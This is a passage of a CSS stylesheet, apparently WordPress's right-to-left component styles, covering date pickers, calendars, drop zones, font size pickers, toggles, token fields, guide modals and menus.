.DayPickerKeyboardShortcuts_show__topLeft:hover { border-left: 33px solid #008489; } .DayPickerKeyboardShortcuts_showSpan { color: #fff; position: absolute; } .DayPickerKeyboardShortcuts_showSpan__bottomRight { bottom: 0; right: -28px; } .DayPickerKeyboardShortcuts_showSpan__topRight { top: 1px; right: -28px; } .DayPickerKeyboardShortcuts_showSpan__topLeft { top: 1px; left: -28px; } .DayPickerKeyboardShortcuts_panel { overflow: auto; background: #fff; border: 1px solid #dbdbdb; border-radius: 2px; position: absolute; top: 0; bottom: 0; right: 0; left: 0; z-index: 2; padding: 22px; margin: 33px; } .DayPickerKeyboardShortcuts_title { font-size: 16px; font-weight: 700; margin: 0; } .DayPickerKeyboardShortcuts_list { list-style: none; padding: 0; font-size: 14px; } .DayPickerKeyboardShortcuts_close { position: absolute; right: 22px; top: 22px; z-index: 2; } .DayPickerKeyboardShortcuts_close:active { outline: 0; } .DayPickerKeyboardShortcuts_closeSvg { height: 15px; width: 15px; fill: #cacccd; } .DayPickerKeyboardShortcuts_closeSvg:focus, .DayPickerKeyboardShortcuts_closeSvg:hover { fill: #82888a; } .CalendarDay { box-sizing: border-box; cursor: pointer; font-size: 14px; text-align: center; } .CalendarDay:active { outline: 0; } .CalendarDay__defaultCursor { cursor: default; } .CalendarDay__default { border: 1px solid #e4e7e7; color: #484848; background: #fff; } .CalendarDay__default:hover { background: #e4e7e7; border: 1px double #e4e7e7; color: inherit; } .CalendarDay__hovered_offset { background: #f4f5f5; border: 1px double #e4e7e7; color: inherit; } .CalendarDay__outside { border: 0; background: #fff; color: #484848; } .CalendarDay__outside:hover { border: 0; } .CalendarDay__blocked_minimum_nights { background: #fff; border: 1px solid #eceeee; color: #cacccd; } .CalendarDay__blocked_minimum_nights:active, .CalendarDay__blocked_minimum_nights:hover { background: #fff; color: #cacccd; } .CalendarDay__highlighted_calendar { background: #ffe8bc; color: #484848; } .CalendarDay__highlighted_calendar:active, .CalendarDay__highlighted_calendar:hover { background: #ffce71; color: #484848; } .CalendarDay__selected_span { background: #66e2da; border: 1px solid #33dacd; color: #fff; } .CalendarDay__selected_span:active, .CalendarDay__selected_span:hover { background: #33dacd; border: 1px solid #33dacd; color: #fff; } .CalendarDay__last_in_range { border-right: #00a699; } .CalendarDay__selected, .CalendarDay__selected:active, .CalendarDay__selected:hover { background: #00a699; border: 1px solid #00a699; color: #fff; } .CalendarDay__hovered_span, .CalendarDay__hovered_span:hover { background: #b2f1ec; border: 1px solid #80e8e0; color: #007a87; } .CalendarDay__hovered_span:active { background: #80e8e0; border: 1px solid #80e8e0; color: #007a87; } .CalendarDay__blocked_calendar, .CalendarDay__blocked_calendar:active, .CalendarDay__blocked_calendar:hover { background: #cacccd; border: 1px solid #cacccd; color: #82888a; } .CalendarDay__blocked_out_of_range, .CalendarDay__blocked_out_of_range:active, .CalendarDay__blocked_out_of_range:hover { background: #fff; border: 1px solid #e4e7e7; color: #cacccd; } .CalendarMonth { background: #fff; text-align: center; vertical-align: top; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .CalendarMonth_table { border-collapse: collapse; border-spacing: 0; } .CalendarMonth_verticalSpacing { border-collapse: separate; } .CalendarMonth_caption { color: #484848; font-size: 18px; text-align: center; padding-top: 22px; padding-bottom: 37px; caption-side: initial; } .CalendarMonth_caption__verticalScrollable { padding-top: 12px; padding-bottom: 7px; } .CalendarMonthGrid { background: #fff; text-align: left; z-index: 0; } .CalendarMonthGrid__animating { z-index: 1; } .CalendarMonthGrid__horizontal { position: absolute; left: 0; } .CalendarMonthGrid__vertical { margin: 0 auto; } .CalendarMonthGrid__vertical_scrollable { margin: 0 auto; overflow-y: scroll; } .CalendarMonthGrid_month__horizontal { display: inline-block; vertical-align: top; min-height: 100%; } .CalendarMonthGrid_month__hideForAnimation { position: absolute; z-index: -1; opacity: 0; pointer-events: none; } .CalendarMonthGrid_month__hidden { visibility: hidden; } .DayPickerNavigation { position: relative; z-index: 2; } .DayPickerNavigation__horizontal { height: 0; } .DayPickerNavigation__verticalDefault { position: absolute; width: 100%; height: 52px; bottom: 0; left: 0; } .DayPickerNavigation__verticalScrollableDefault { position: relative; } .DayPickerNavigation_button { cursor: pointer; -webkit-user-select: none; -ms-user-select: none; user-select: none; border: 0; padding: 0; margin: 0; } .DayPickerNavigation_button__default { border: 1px solid #e4e7e7; background-color: #fff; color: #757575; } .DayPickerNavigation_button__default:focus, .DayPickerNavigation_button__default:hover { border: 1px solid #c4c4c4; } .DayPickerNavigation_button__default:active { background: #f2f2f2; } .DayPickerNavigation_button__horizontalDefault { position: absolute; top: 18px; line-height: 0.78; border-radius: 3px; padding: 6px 9px; } .DayPickerNavigation_leftButton__horizontalDefault { left: 22px; } .DayPickerNavigation_rightButton__horizontalDefault { right: 22px; } .DayPickerNavigation_button__verticalDefault { padding: 5px; background: #fff; box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.1); position: relative; display: inline-block; height: 100%; width: 50%; } .DayPickerNavigation_nextButton__verticalDefault { border-left: 0; } .DayPickerNavigation_nextButton__verticalScrollableDefault { width: 100%; } .DayPickerNavigation_svg__horizontal { height: 19px; width: 19px; fill: #82888a; display: block; } .DayPickerNavigation_svg__vertical { height: 42px; width: 42px; fill: #484848; display: block; } .DayPicker { background: #fff; position: relative; text-align: left; } .DayPicker__horizontal { background: #fff; } .DayPicker__verticalScrollable { height: 100%; } .DayPicker__hidden { visibility: hidden; } .DayPicker__withBorder { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05), 0 0 0 1px rgba(0, 0, 0, 0.07); border-radius: 3px; } .DayPicker_portal__horizontal { box-shadow: none; position: absolute; left: 50%; top: 50%; } .DayPicker_portal__vertical { position: initial; } .DayPicker_focusRegion { outline: 0; } .DayPicker_calendarInfo__horizontal, .DayPicker_wrapper__horizontal { display: inline-block; vertical-align: top; } .DayPicker_weekHeaders { position: relative; } .DayPicker_weekHeaders__horizontal { margin-left: 13px; } .DayPicker_weekHeader { color: #757575; position: absolute; top: 62px; z-index: 2; text-align: left; padding: 0 !important; } .DayPicker_weekHeader__vertical { left: 50%; } .DayPicker_weekHeader__verticalScrollable { top: 0; display: table-row; border-bottom: 1px solid #dbdbdb; background: #fff; margin-left: 0; left: 0; width: 100%; text-align: center; } .DayPicker_weekHeader_ul { list-style: none; margin: 1px 0; padding-left: 0; padding-right: 0; font-size: 14px; } .DayPicker_weekHeader_li { display: inline-block; text-align: center; margin: 0 1px; } .DayPicker_transitionContainer { position: relative; overflow: hidden; border-radius: 3px; } .DayPicker_transitionContainer__horizontal { transition: height 0.2s ease-in-out; } .DayPicker_transitionContainer__vertical { width: 100%; } .DayPicker_transitionContainer__verticalScrollable { padding-top: 20px; height: 100%; position: absolute; top: 0; bottom: 0; right: 0; left: 0; overflow-y: scroll; } .DateInput { margin: 0; padding: 0; background: #fff; position: relative; display: inline-block; width: 130px; vertical-align: middle; } .DateInput__small { width: 97px; } .DateInput__block { width: 100%; } .DateInput__disabled { background: #f2f2f2; color: #dbdbdb; } .DateInput_input { font-weight: 200; font-size: 19px; line-height: 24px; color: #484848; background-color: #fff; width: 100%; padding: 11px 11px 9px; border: 0; border-top: 0; border-right: 0; border-bottom: 2px solid transparent; border-left: 0; border-radius: 0; } .DateInput_input__small { font-size: 15px; line-height: 18px; letter-spacing: 0.2px; padding: 7px 7px 5px; } .DateInput_input__regular { font-weight: auto; } .DateInput_input__readOnly { -webkit-user-select: none; -ms-user-select: none; user-select: none; } .DateInput_input__focused { outline: 0; background: #fff; border: 0; border-top: 0; border-right: 0; border-bottom: 2px solid #008489; border-left: 0; } .DateInput_input__disabled { background: #f2f2f2; font-style: italic; } .DateInput_screenReaderMessage { border: 0; clip: rect(0, 0, 0, 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .DateInput_fang { position: absolute; width: 20px; height: 10px; left: 22px; z-index: 2; } .DateInput_fangShape { fill: #fff; } .DateInput_fangStroke { stroke: #dbdbdb; fill: transparent; } .DateRangePickerInput { background-color: #fff; display: inline-block; } .DateRangePickerInput__disabled { background: #f2f2f2; } .DateRangePickerInput__withBorder { border-radius: 2px; border: 1px solid #dbdbdb; } .DateRangePickerInput__rtl { direction: rtl; } .DateRangePickerInput__block { display: block; } .DateRangePickerInput__showClearDates { padding-right: 30px; } .DateRangePickerInput_arrow { display: inline-block; vertical-align: middle; color: #484848; } .DateRangePickerInput_arrow_svg { vertical-align: middle; fill: #484848; height: 24px; width: 24px; } .DateRangePickerInput_clearDates { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; padding: 10px; margin: 0 10px 0 5px; position: absolute; right: 0; top: 50%; transform: translateY(-50%); } .DateRangePickerInput_clearDates__small { padding: 6px; } .DateRangePickerInput_clearDates_default:focus, .DateRangePickerInput_clearDates_default:hover { background: #dbdbdb; border-radius: 50%; } .DateRangePickerInput_clearDates__hide { visibility: hidden; } .DateRangePickerInput_clearDates_svg { fill: #82888a; height: 12px; width: 15px; vertical-align: middle; } .DateRangePickerInput_clearDates_svg__small { height: 9px; } .DateRangePickerInput_calendarIcon { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; display: inline-block; vertical-align: middle; padding: 10px; margin: 0 5px 0 10px; } .DateRangePickerInput_calendarIcon_svg { fill: #82888a; height: 15px; width: 14px; vertical-align: middle; } .DateRangePicker { position: relative; display: inline-block; } .DateRangePicker__block { display: block; } .DateRangePicker_picker { z-index: 1; background-color: #fff; position: absolute; } .DateRangePicker_picker__rtl { direction: rtl; } .DateRangePicker_picker__directionLeft { left: 0; } .DateRangePicker_picker__directionRight { right: 0; } .DateRangePicker_picker__portal { background-color: rgba(0, 0, 0, 0.3); position: fixed; top: 0; left: 0; height: 100%; width: 100%; } .DateRangePicker_picker__fullScreenPortal { background-color: #fff; } .DateRangePicker_closeButton { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; position: absolute; top: 0; right: 0; padding: 15px; z-index: 2; } .DateRangePicker_closeButton:focus, .DateRangePicker_closeButton:hover { color: #b0b3b4; text-decoration: none; } .DateRangePicker_closeButton_svg { height: 15px; width: 15px; fill: #cacccd; } .components-datetime { padding: 0; } .components-datetime .components-datetime__calendar-help { padding: 16px; } .components-datetime .components-datetime__calendar-help h4 { margin: 0; } .components-datetime .components-datetime__buttons { display: flex; justify-content: space-between; } .components-datetime .components-datetime__date-help-toggle { display: block; margin-right: auto; } .components-datetime fieldset { border: 0; padding: 0; margin: 0; } .components-datetime select, .components-datetime input { box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; } @media (prefers-reduced-motion: reduce) { .components-datetime select, .components-datetime input { transition-duration: 0s; } } .components-datetime select, .components-datetime input[type=number], .components-datetime .components-button { height: 30px; margin-top: 0; margin-bottom: 0; } .components-datetime__date { min-height: 236px; border-top: 1px solid #ddd; } .components-datetime__date .DayPickerNavigation_leftButton__horizontalDefault { left: 13px; } .components-datetime__date .CalendarMonth_caption { font-size: 13px; } .components-datetime__date .CalendarMonth_table { border-collapse: separate; border-spacing: 2px; } .components-datetime__date .CalendarDay { font-size: 13px; border: none; border-radius: 50%; text-align: center; } .components-datetime__date .CalendarDay:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 3px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 3px #fff; outline: 2px solid transparent; } .components-datetime__date .CalendarDay__selected { background: #007cba; background: var(--wp-admin-theme-color); border: 2px solid transparent; } .components-datetime__date .CalendarDay__selected:hover { background: #005a87; background: var(--wp-admin-theme-color-darker-20); } .components-datetime__date .CalendarDay__selected:focus { box-shadow: inset 0 0 0 1px #fff; } .components-datetime__date .DayPickerNavigation_button__horizontalDefault { padding: 2px 8px; top: 20px; } .components-datetime__date .DayPickerNavigation_button__horizontalDefault:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-datetime__date .DayPicker_weekHeader { top: 50px; } .components-datetime__date .DayPicker_weekHeader .DayPicker_weekHeader_ul { margin: 1px; padding-right: 0; padding-left: 0; } .components-datetime__date.is-description-visible .DayPicker { visibility: hidden; } .components-datetime__time { padding-bottom: 16px; } .components-datetime__time fieldset { position: relative; margin-bottom: 0.5em; } .components-datetime__time fieldset + fieldset { margin-bottom: 0; } .components-datetime__time .components-datetime__time-field-am-pm fieldset { margin-top: 0; } .components-datetime__time .components-datetime__time-wrapper { display: flex; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-separator { display: inline-block; padding: 0 0 0 3px; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field-time { direction: ltr; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select { margin-left: 4px; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select:focus { position: relative; z-index: 1; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number] { padding: 2px; margin-left: 4px; text-align: center; -moz-appearance: textfield; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]:focus { position: relative; z-index: 1; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .components-datetime__time.is-12-hour .components-datetime__time-field-day input { margin: -4px 0 0 !important; border-radius: 0 2px 2px 0 !important; } .components-datetime__time.is-12-hour .components-datetime__time-field-year input { border-radius: 2px 0 0 2px !important; } .components-datetime__timezone { line-height: 30px; margin-right: 4px; -webkit-text-decoration: underline dotted; text-decoration: underline dotted; } .components-datetime__time-legend { font-weight: 600; margin-top: 0.5em; } .components-datetime__time-legend.invisible { position: absolute; top: -999em; right: -999em; } .components-datetime__time-field-hours-input, .components-datetime__time-field-minutes-input, .components-datetime__time-field-day-input { width: 35px; } .components-datetime__time-field-year-input { width: 55px; } .components-datetime__time-field-month-select { max-width: 145px; } .components-popover .components-datetime__date { padding-right: 4px; } .block-editor-dimension-control .components-base-control__field { display: flex; align-items: center; } .block-editor-dimension-control .components-base-control__label { display: flex; align-items: center; margin-left: 1em; margin-bottom: 0; } .block-editor-dimension-control .components-base-control__label .dashicon { margin-left: 0.5em; } .block-editor-dimension-control.is-manual .components-base-control__label { width: 10em; } body.is-dragging-components-draggable { cursor: move; /* Fallback for IE/Edge < 14 */ cursor: grabbing !important; } .components-draggable__invisible-drag-image { position: fixed; right: -1000px; height: 50px; width: 50px; } .components-draggable__clone { position: fixed; padding: 0; background: transparent; pointer-events: none; z-index: 1000000000; } .components-drop-zone { position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 40; visibility: hidden; opacity: 0; transition: 0.3s opacity, 0.3s background-color, 0s visibility 0.3s; border: 2px solid #007cba; border: 2px solid var(--wp-admin-theme-color); border-radius: 2px; } @media (prefers-reduced-motion: reduce) { .components-drop-zone { transition-duration: 0s; } } .components-drop-zone.is-active { opacity: 1; visibility: visible; transition: 0.3s opacity, 0.3s background-color; } @media (prefers-reduced-motion: reduce) { .components-drop-zone.is-active { transition-duration: 0s; } } .components-drop-zone.is-dragging-over-element { background-color: #007cba; background-color: var(--wp-admin-theme-color); } .components-drop-zone__content { position: absolute; top: 50%; right: 0; left: 0; z-index: 50; transform: translateY(-50%); width: 100%; text-align: center; color: #fff; transition: transform 0.2s ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-drop-zone__content { transition-duration: 0s; } } .components-drop-zone.is-dragging-over-element .components-drop-zone__content { transform: translateY(-50%) scale(1.05); } .components-drop-zone__content-icon, .components-drop-zone__content-text { display: block; } .components-drop-zone__content-icon { margin: 0 auto; line-height: 0; fill: currentColor; } .components-drop-zone__content-text { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } .components-drop-zone__provider { height: 100%; } .components-dropdown { display: inline-block; } .components-dropdown__content .components-popover__content > div { padding: 12px; } .components-dropdown-menu__popover .components-popover__content { min-width: 200px; } .components-dropdown-menu__menu { width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.4; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item, .components-dropdown-menu__menu .components-menu-item { width: 100%; padding: 6px; outline: none; cursor: pointer; white-space: nowrap; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator, .components-dropdown-menu__menu .components-menu-item.has-separator { margin-top: 6px; position: relative; overflow: visible; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator::before, .components-dropdown-menu__menu .components-menu-item.has-separator::before { display: block; content: ""; box-sizing: content-box; background-color: #ddd; position: absolute; top: -3px; right: 0; left: 0; height: 1px; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg, .components-dropdown-menu__menu .components-menu-item.is-active svg { color: #fff; background: #1e1e1e; box-shadow: 0 0 0 1px #1e1e1e; border-radius: 1px; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item > svg, .components-dropdown-menu__menu .components-menu-item > svg { border-radius: 2px; width: 24px; height: 24px; } .components-dropdown-menu__menu .components-menu-item__button, .components-dropdown-menu__menu .components-menu-item__button.components-button { min-height: 36px; height: auto; text-align: right; padding-right: 8px; padding-left: 8px; } .components-dropdown-menu__menu .components-menu-group { padding: 12px; margin-top: 0; margin-bottom: 0; margin-right: -12px; margin-left: -12px; } .components-dropdown-menu__menu .components-menu-group:first-child { margin-top: -12px; } .components-dropdown-menu__menu .components-menu-group:last-child { margin-bottom: -12px; } .components-dropdown-menu__menu .components-menu-group + .components-menu-group { margin-top: 0; border-top: 1px solid #ccc; padding: 12px; } .is-alternate .components-dropdown-menu__menu .components-menu-group + .components-menu-group { border-color: #1e1e1e; } .components-font-size-picker__controls { max-width: 248px; display: flex; flex-wrap: wrap; align-items: center; margin-bottom: 24px; } .components-font-size-picker__controls .components-font-size-picker__number { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: inline-block; font-weight: 500; height: 30px; margin-bottom: 0; margin-right: 0; margin-left: 8px; margin-top: 8px; width: 54px; } @media (prefers-reduced-motion: reduce) { .components-font-size-picker__controls .components-font-size-picker__number { transition-duration: 0s; } } @media (min-width: 600px) { .components-font-size-picker__controls .components-font-size-picker__number { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-font-size-picker__controls .components-font-size-picker__number:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-font-size-picker__controls .components-font-size-picker__number[value=""] + .components-button { cursor: default; opacity: 0.3; pointer-events: none; } .components-font-size-picker__controls .components-font-size-picker__number-container { display: flex; flex-direction: column; } .components-font-size-picker__controls .components-font-size-picker__select { margin-left: 8px; } .components-font-size-picker__controls .components-color-palette__clear { height: 30px; margin-top: 26px; } .components-font-size-picker__custom-input .components-range-control__slider + .dashicon { width: 30px; height: 30px; } .components-font-size-picker { border: 0; padding: 0; margin: 0; } .components-form-toggle { position: relative; display: inline-block; } .components-form-toggle .components-form-toggle__track { content: ""; display: inline-block; box-sizing: border-box; vertical-align: top; background-color: #fff; border: 1px solid #1e1e1e; width: 36px; height: 18px; border-radius: 9px; transition: 0.2s background ease; } @media (prefers-reduced-motion: reduce) { .components-form-toggle .components-form-toggle__track { transition-duration: 0s; } } .components-form-toggle .components-form-toggle__thumb { display: block; position: absolute; box-sizing: border-box; top: 3px; right: 3px; width: 12px; height: 12px; border-radius: 50%; transition: 0.1s transform ease; background-color: #1e1e1e; border: 5px solid #1e1e1e; } @media (prefers-reduced-motion: reduce) { .components-form-toggle .components-form-toggle__thumb { transition-duration: 0s; } } .components-form-toggle.is-checked .components-form-toggle__track { background-color: #007cba; background-color: var(--wp-admin-theme-color); border: 1px solid #007cba; border: 1px solid var(--wp-admin-theme-color); border: 9px solid transparent; } .components-form-toggle .components-form-toggle__input:focus + .components-form-toggle__track { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: 2px; } .components-form-toggle.is-checked .components-form-toggle__thumb { background-color: #fff; border-width: 0; transform: translateX(-18px); } .components-form-toggle.is-disabled, .components-disabled .components-form-toggle { opacity: 0.3; } .components-form-toggle input.components-form-toggle__input[type=checkbox] { position: absolute; top: 0; right: 0; width: 100%; height: 100%; opacity: 0; margin: 0; padding: 0; z-index: 1; border: none; } .components-form-toggle input.components-form-toggle__input[type=checkbox]:checked { background: none; } .components-form-toggle input.components-form-toggle__input[type=checkbox]::before { content: ""; } .components-form-token-field__input-container { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: flex; flex-wrap: wrap; align-items: flex-start; width: 100%; margin: 0 0 8px 0; padding: 2px 4px; cursor: text; } @media (prefers-reduced-motion: reduce) { .components-form-token-field__input-container { transition-duration: 0s; } } @media (min-width: 600px) { .components-form-token-field__input-container { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-form-token-field__input-container:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-form-token-field__input-container::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-form-token-field__input-container::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-form-token-field__input-container:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-form-token-field__input-container::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-form-token-field__input-container::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-form-token-field__input-container:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-form-token-field__input-container.is-disabled { background: #ddd; border-color: #ddd; } .components-form-token-field__input-container.is-active { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-form-token-field__input-container input[type=text].components-form-token-field__input { display: inline-block; flex: 1; font-size: 16px; width: 100%; max-width: 100%; margin-right: 4px; padding: 0; min-height: 24px; min-width: 50px; background: inherit; border: 0; color: #1e1e1e; box-shadow: none; } @media (min-width: 600px) { .components-form-token-field__input-container input[type=text].components-form-token-field__input { font-size: 13px; } } .components-form-token-field__input-container input[type=text].components-form-token-field__input:focus, .components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input { outline: none; box-shadow: none; } .components-form-token-field__input-container .components-form-token-field__token + input[type=text].components-form-token-field__input { width: auto; } .components-form-token-field__label { display: inline-block; margin-bottom: 4px; } .components-form-token-field__help { font-size: 12px; font-style: normal; color: #757575; } .components-form-token-field__token { font-size: 13px; display: flex; margin: 2px 0 2px 4px; color: #1e1e1e; max-width: 100%; } .components-form-token-field__token.is-success .components-form-token-field__token-text, .components-form-token-field__token.is-success .components-form-token-field__remove-token { background: #4ab866; } .components-form-token-field__token.is-error .components-form-token-field__token-text, .components-form-token-field__token.is-error .components-form-token-field__remove-token { background: #cc1818; } .components-form-token-field__token.is-validating .components-form-token-field__token-text, .components-form-token-field__token.is-validating .components-form-token-field__remove-token { color: #757575; } .components-form-token-field__token.is-borderless { position: relative; padding: 0 0 0 16px; } .components-form-token-field__token.is-borderless .components-form-token-field__token-text { background: transparent; color: #007cba; color: var(--wp-admin-theme-color); } .components-form-token-field__token.is-borderless .components-form-token-field__remove-token { background: transparent; color: #757575; position: absolute; top: 1px; left: 0; } .components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text { color: #4ab866; } .components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text { color: #cc1818; border-radius: 0 4px 4px 0; padding: 0 6px 0 4px; } .components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text { color: #1e1e1e; } .components-form-token-field__token.is-disabled .components-form-token-field__remove-token { cursor: default; } .components-form-token-field__token-text, .components-form-token-field__remove-token.components-button { display: inline-block; line-height: 24px; height: auto; background: #ddd; min-width: unset; transition: all 0.2s cubic-bezier(0.4, 1, 0.4, 1); } @media (prefers-reduced-motion: reduce) { .components-form-token-field__token-text, .components-form-token-field__remove-token.components-button { transition-duration: 0s; animation-duration: 1ms; } } .components-form-token-field__token-text { border-radius: 0 2px 2px 0; padding: 0 8px 0 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .components-form-token-field__remove-token.components-button { cursor: pointer; border-radius: 2px 0 0 2px; padding: 0 2px; color: #1e1e1e; line-height: 10px; overflow: initial; } .components-form-token-field__remove-token.components-button:hover { color: #1e1e1e; } .components-form-token-field__suggestions-list { flex: 1 0 100%; min-width: 100%; max-height: 9em; overflow-y: auto; transition: all 0.15s ease-in-out; list-style: none; border-top: 1px solid #757575; margin: 4px -4px -4px; padding: 0; } @media (prefers-reduced-motion: reduce) { .components-form-token-field__suggestions-list { transition-duration: 0s; } } .components-form-token-field__suggestion { color: #757575; display: block; font-size: 13px; padding: 4px 8px; margin: 0; cursor: pointer; } .components-form-token-field__suggestion.is-selected { background: #007cba; background: var(--wp-admin-theme-color); color: #fff; } .components-form-token-field__suggestion-match { text-decoration: underline; } @media (min-width: 600px) { .components-guide { width: 600px; } } .components-guide .components-modal__header { background: none; border-bottom: none; width: 100%; padding: 0; margin: 0; } .components-guide .components-modal__header .components-button { align-self: flex-start; margin: 8px 0 0 8px; position: static; } .components-guide .components-modal__header .components-button:hover svg { fill: #fff; } .components-guide__container { display: flex; flex-direction: column; justify-content: space-between; margin-top: -60px; min-height: 100%; } .components-guide__page { display: flex; flex-direction: column; justify-content: center; position: relative; } @media (min-width: 600px) { .components-guide__page { min-height: 300px; } } .components-guide__footer { align-content: center; display: flex; height: 30px; justify-content: center; margin: 0 0 24px 0; padding: 0 32px; position: relative; width: 100%; } @media (max-width: 600px) { .components-guide__footer { position: absolute; bottom: 0; } } .components-guide__page-control { margin: 8px 0 8px 0; text-align: center; } .components-guide__page-control li { display: inline-block; } .components-guide__page-control .components-button { height: 30px; min-width: 20px; } .components-guide .components-modal__content { padding: 0; } .components-modal__frame.components-guide { border: none; min-width: 312px; height: 80vh; max-height: 575px; } @media (max-width: 600px) { .components-modal__frame.components-guide { bottom: 5%; right: 16px; left: 16px; top: 5%; margin: 0 auto; } } .components-button.components-guide__back-button, .components-button.components-guide__forward-button, .components-button.components-guide__finish-button { height: 30px; position: absolute; } .components-button.components-guide__back-button, .components-button.components-guide__forward-button { font-size: 13px; padding: 4px 2px; } .components-button.components-guide__back-button.has-text svg, .components-button.components-guide__forward-button.has-text svg { margin: 0; } .components-button.components-guide__back-button:hover, .components-button.components-guide__forward-button:hover { text-decoration: underline; } .components-button.components-guide__back-button { right: 32px; } .components-button.components-guide__forward-button { left: 32px; color: #1386bf; font-weight: bold; } .components-button.components-guide__finish-button { left: 32px; } .components-button.components-guide__inline-finish-button { display: none; } [role=region] { position: relative; } .is-focusing-regions [role=region]:focus::after { content: ""; position: absolute; top: 0; bottom: 0; right: 0; left: 0; pointer-events: none; outline: 4px solid transparent; box-shadow: inset 0 0 0 4px #007cba; box-shadow: inset 0 0 0 4px var(--wp-admin-theme-color); } @supports (outline-offset: 1px) { .is-focusing-regions [role=region]:focus::after { content: none; } .is-focusing-regions [role=region]:focus { outline-style: solid; outline-color: #007cba; outline-color: var(--wp-admin-theme-color); outline-width: 4px; outline-offset: -4px; } } .components-menu-group + .components-menu-group { margin-top: 8px; padding-top: 8px; border-top: 1px solid #1e1e1e; } .components-menu-group__label { padding: 0 8px; margin-top: 4px; margin-bottom: 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .components-menu-item__button, .components-menu-item__button.components-button { width: 100%; } .components-menu-item__button .components-menu-items__item-icon, .components-menu-item__button.components-button .components-menu-items__item-icon { margin-left: -2px; margin-right: 24px; display: inline-block; flex: 0 0 auto; } 